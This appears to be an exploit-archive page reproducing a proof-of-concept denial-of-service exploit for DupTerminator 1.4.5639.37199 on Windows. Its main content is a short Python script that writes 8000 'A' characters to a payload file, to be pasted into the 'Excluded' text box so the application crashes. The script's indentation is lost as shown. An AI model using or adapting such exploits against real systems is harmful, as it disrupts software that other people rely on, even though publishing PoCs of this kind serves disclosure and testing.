Dupterminator 1.4.5639.37199 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-06-01 | Type : dos | Platform : windows
This exploit / vulnerability Dupterminator 1.4.5639.37199 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: DupTerminator 1.4.5639.37199 - Denial of Service (PoC)
# Date: 2021-05-28
# Author: Brian Rodríguez
# Software Site: https://sourceforge.net/projects/dupterminator/
# Version: 1.4.5639.37199
# Category: DoS (Windows)

##### Vulnerability #####

DupTerminator is vulnerable to a DoS condition when a long list of characters is being used in field "Excluded" text box.

Successful exploitation will causes application stop working.

I have been able to test this exploit against Windows 10.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 8000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")